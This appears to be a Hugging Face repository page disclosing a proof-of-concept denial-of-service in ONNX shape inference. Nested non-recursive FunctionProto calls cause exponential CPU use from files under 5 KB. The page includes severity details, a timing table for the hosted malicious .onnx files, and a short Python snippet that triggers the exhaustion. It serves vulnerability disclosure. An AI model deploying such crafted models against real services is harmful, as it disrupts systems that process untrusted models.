Downloads · 30 days
0
Rodion111/onnx-functionproto-dos-poc
onnx-functionproto-dos-poc is a machine learning model from Rodion111. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
CVE: TBD (submitted to huntr.com) Severity: CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) CWE: CWE-400 Uncontrolled Resource Consumption Affected: onnx <= 1.21.0
Downloads · 30 days
0
Access
Public
Updated Apr 7, 2026
Repo size
8.4 KB
Likes
0
Public
Click a slice to open those files.
.onnx8.4 KB · 73%
From the Hugging Face model README
CVE: TBD (submitted to huntr.com) Severity: CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) CWE: CWE-400 Uncontrolled Resource Consumption Affected: onnx <= 1.21.0
Non-recursive FunctionProto call graph expansion causes exponential CPU exhaustion during ONNX shape inference.
The ONNX checker validates that functions are not directly recursive but does NOT limit the total work done when resolving a non-recursive DAG of function calls.
This is the ONNX equivalent of the XML Billion Laughs (CVE-2003-1564) attack.
| File | N | File Size | Shape Inference Time |
|---|---|---|---|
onnx_functionproto_dos_n35.onnx | 35 | 3,939 bytes | 23.96 seconds |
onnx_functionproto_dos_n40.onnx | 40 | 4,509 bytes | 266 seconds (4+ min) |
import onnx, time
# Load and run shape inference on the PoC file
model = onnx.load("onnx_functionproto_dos_n40.onnx")
# Step 1: Checker passes (no direct recursion)
onnx.checker.check_model(model) # passes without error
# Step 2: Shape inference triggers CPU exhaustion
t0 = time.time()
onnx.shape_inference.infer_shapes(model) # takes 266+ seconds
print(f"Took {time.time()-t0:.1f}s")
Time grows at rate ~phi^N (golden ratio ~1.618) per additional function:
All from files < 5 KB.
Reported via huntr.com bug bounty program.